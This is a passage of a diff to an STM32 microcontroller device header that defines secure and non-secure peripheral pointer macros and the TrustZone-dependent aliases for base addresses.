((USART_TypeDef *) USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *) USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *) UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *) UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *) I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *) I2C2_BASE_NS) +#define CRS_NS ((CRS_TypeDef *) CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *) USART6_BASE_NS) +#define I2C5_NS ((I2C_TypeDef *) I2C5_BASE_NS) +#define I2C6_NS ((I2C_TypeDef *) I2C6_BASE_NS) +#define I2C4_NS ((I2C_TypeDef *) I2C4_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *) LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *) UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define TIM16_NS ((TIM_TypeDef *) TIM16_BASE_NS) +#define TIM17_NS ((TIM_TypeDef *) TIM17_BASE_NS) +#define SAI1_NS ((SAI_TypeDef *) SAI1_BASE_NS) +#define SAI1_Block_A_NS ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_NS) +#define SAI1_Block_B_NS ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_NS) +#define SAI2_NS ((SAI_TypeDef *) SAI2_BASE_NS) +#define SAI2_Block_A_NS ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_NS) +#define SAI2_Block_B_NS ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_NS) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_NS ((SYSCFG_TypeDef *) SYSCFG_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *) SPI3_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define LPTIM3_NS ((LPTIM_TypeDef *) LPTIM3_BASE_NS) +#define LPTIM4_NS ((LPTIM_TypeDef *) LPTIM4_BASE_NS) +#define OPAMP_NS ((OPAMP_TypeDef *) OPAMP_BASE_NS) +#define OPAMP1_NS ((OPAMP_TypeDef *) OPAMP1_BASE_NS) +#define OPAMP2_NS ((OPAMP_TypeDef *) OPAMP2_BASE_NS) +#define OPAMP12_COMMON_NS ((OPAMP_Common_TypeDef *) OPAMP1_BASE_NS) +#define COMP12_NS ((COMP_TypeDef *) COMP12_BASE_NS) +#define COMP1_NS ((COMP_TypeDef *) COMP1_BASE_NS) +#define COMP2_NS ((COMP_TypeDef *) COMP2_BASE_NS) +#define COMP12_COMMON_NS ((COMP_Common_TypeDef *) COMP1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define TAMP_NS ((TAMP_TypeDef *) TAMP_BASE_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA1_Channel8_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_NS) +#define GPDMA1_Channel9_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_NS) +#define GPDMA1_Channel10_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_NS) +#define GPDMA1_Channel11_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_NS) +#define GPDMA1_Channel12_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_NS) +#define GPDMA1_Channel13_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_NS) +#define GPDMA1_Channel14_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_NS) +#define GPDMA1_Channel15_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_NS) +#define CORDIC_NS ((CORDIC_TypeDef *) CORDIC_BASE_NS) +#define FMAC_NS ((FMAC_TypeDef *) FMAC_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define TSC_NS ((TSC_TypeDef *) TSC_BASE_NS) +#define MDF1_NS ((MDF_TypeDef *) MDF1_BASE_NS) +#define MDF1_Filter0_NS ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_NS) +#define MDF1_Filter1_NS ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_NS) +#define MDF1_Filter2_NS ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_NS) +#define MDF1_Filter3_NS ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_NS) +#define MDF1_Filter4_NS ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_NS) +#define MDF1_Filter5_NS ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_SRAM4_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_NS) +#define RAMCFG_SRAM5_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define DMA2D_NS ((DMA2D_TypeDef *) DMA2D_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GTZC_MPCBB5_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define GPIOI_NS ((GPIO_TypeDef *) GPIOI_BASE_NS) +#define GPIOJ_NS ((GPIO_TypeDef *) GPIOJ_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define USB_OTG_HS_NS ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_NS) +#define AES_NS ((AES_TypeDef *) AES_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define SAES_NS ((AES_TypeDef *) SAES_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) +#define OTFDEC1_NS ((OTFDEC_TypeDef *) OTFDEC1_BASE_NS) +#define OTFDEC1_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_NS) +#define OTFDEC1_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_NS) +#define OTFDEC1_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_NS) +#define OTFDEC1_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_NS) +#define OTFDEC2_NS ((OTFDEC_TypeDef *) OTFDEC2_BASE_NS) +#define OTFDEC2_REGION1_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_NS) +#define OTFDEC2_REGION2_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_NS) +#define OTFDEC2_REGION3_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_NS) +#define OTFDEC2_REGION4_NS ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_NS) +#define SDMMC1_NS ((SDMMC_TypeDef *) SDMMC1_BASE_NS) +#define SDMMC2_NS ((SDMMC_TypeDef *) SDMMC2_BASE_NS) +#define DLYB_SDMMC1_NS ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_NS) +#define DLYB_SDMMC2_NS ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_NS) +#define DLYB_OCTOSPI1_NS ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_NS) +#define DLYB_OCTOSPI2_NS ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_NS) +#define FMC_Bank1_R_NS ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_NS) +#define FMC_Bank1E_R_NS ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_NS) +#define FMC_Bank3_R_NS ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_NS) +#define OCTOSPIM_NS ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_NS) +#define OCTOSPI1_NS ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_NS) +#define OCTOSPI2_NS ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_NS) +#define HSPI1_NS ((HSPI_TypeDef *) HSPI1_R_BASE_NS) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_NS ((GPIO_TypeDef *) LPGPIO1_BASE_NS) +#define PWR_NS ((PWR_TypeDef *) PWR_BASE_NS) +#define RCC_NS ((RCC_TypeDef *) RCC_BASE_NS) +#define ADC4_NS ((ADC_TypeDef *) ADC4_BASE_NS) +#define ADC4_COMMON_NS ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define EXTI_NS ((EXTI_TypeDef *) EXTI_BASE_NS) +#define GTZC_TZSC2_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_NS) +#define GTZC_TZIC2_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_NS) +#define GTZC_MPCBB4_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_NS) +#define ADF1_NS ((MDF_TypeDef *) ADF1_BASE_NS) +#define ADF1_Filter0_NS ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_NS) +#define LPDMA1_NS ((DMA_TypeDef *) LPDMA1_BASE_NS) +#define LPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_NS) +#define LPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_NS) +#define LPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_NS) +#define LPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_NS) + +/*!< APB1 Secure peripherals */ +#define TIM2_S ((TIM_TypeDef *) TIM2_BASE_S) +#define TIM3_S ((TIM_TypeDef *) TIM3_BASE_S) +#define TIM4_S ((TIM_TypeDef *) TIM4_BASE_S) +#define TIM5_S ((TIM_TypeDef *) TIM5_BASE_S) +#define TIM6_S ((TIM_TypeDef *) TIM6_BASE_S) +#define TIM7_S ((TIM_TypeDef *) TIM7_BASE_S) +#define WWDG_S ((WWDG_TypeDef *) WWDG_BASE_S) +#define IWDG_S ((IWDG_TypeDef *) IWDG_BASE_S) +#define SPI2_S ((SPI_TypeDef *) SPI2_BASE_S) +#define USART2_S ((USART_TypeDef *) USART2_BASE_S) +#define USART3_S ((USART_TypeDef *) USART3_BASE_S) +#define UART4_S ((USART_TypeDef *) UART4_BASE_S) +#define UART5_S ((USART_TypeDef *) UART5_BASE_S) +#define I2C1_S ((I2C_TypeDef *) I2C1_BASE_S) +#define I2C2_S ((I2C_TypeDef *) I2C2_BASE_S) +#define CRS_S ((CRS_TypeDef *) CRS_BASE_S) +#define USART6_S ((USART_TypeDef *) USART6_BASE_S) +#define I2C5_S ((I2C_TypeDef *) I2C5_BASE_S) +#define I2C6_S ((I2C_TypeDef *) I2C6_BASE_S) +#define I2C4_S ((I2C_TypeDef *) I2C4_BASE_S) +#define LPTIM2_S ((LPTIM_TypeDef *) LPTIM2_BASE_S) +#define FDCAN1_S ((FDCAN_GlobalTypeDef *) FDCAN1_BASE_S) +#define FDCAN_CONFIG_S ((FDCAN_Config_TypeDef *) FDCAN_CONFIG_BASE_S) +#define UCPD1_S ((UCPD_TypeDef *) UCPD1_BASE_S) + +/*!< APB2 Secure peripherals */ +#define TIM1_S ((TIM_TypeDef *) TIM1_BASE_S) +#define SPI1_S ((SPI_TypeDef *) SPI1_BASE_S) +#define TIM8_S ((TIM_TypeDef *) TIM8_BASE_S) +#define USART1_S ((USART_TypeDef *) USART1_BASE_S) +#define TIM15_S ((TIM_TypeDef *) TIM15_BASE_S) +#define TIM16_S ((TIM_TypeDef *) TIM16_BASE_S) +#define TIM17_S ((TIM_TypeDef *) TIM17_BASE_S) +#define SAI1_S ((SAI_TypeDef *) SAI1_BASE_S) +#define SAI1_Block_A_S ((SAI_Block_TypeDef *)SAI1_Block_A_BASE_S) +#define SAI1_Block_B_S ((SAI_Block_TypeDef *)SAI1_Block_B_BASE_S) +#define SAI2_S ((SAI_TypeDef *) SAI2_BASE_S) +#define SAI2_Block_A_S ((SAI_Block_TypeDef *)SAI2_Block_A_BASE_S) +#define SAI2_Block_B_S ((SAI_Block_TypeDef *)SAI2_Block_B_BASE_S) + +/*!< APB3 secure peripherals */ +#define SYSCFG_S ((SYSCFG_TypeDef *) SYSCFG_BASE_S) +#define SPI3_S ((SPI_TypeDef *) SPI3_BASE_S) +#define LPUART1_S ((USART_TypeDef *) LPUART1_BASE_S) +#define I2C3_S ((I2C_TypeDef *) I2C3_BASE_S) +#define LPTIM1_S ((LPTIM_TypeDef *) LPTIM1_BASE_S) +#define LPTIM3_S ((LPTIM_TypeDef *) LPTIM3_BASE_S) +#define LPTIM4_S ((LPTIM_TypeDef *) LPTIM4_BASE_S) +#define OPAMP_S ((OPAMP_TypeDef *) OPAMP_BASE_S) +#define OPAMP1_S ((OPAMP_TypeDef *) OPAMP1_BASE_S) +#define OPAMP2_S ((OPAMP_TypeDef *) OPAMP2_BASE_S) +#define OPAMP12_COMMON_S ((OPAMP_Common_TypeDef *) OPAMP1_BASE_S) +#define COMP12_S ((COMP_TypeDef *) COMP12_BASE_S) +#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define OTFDEC2_S ((OTFDEC_TypeDef *) OTFDEC2_BASE_S) +#define OTFDEC2_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_S) +#define OTFDEC2_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_S) +#define OTFDEC2_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_S) +#define OTFDEC2_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define 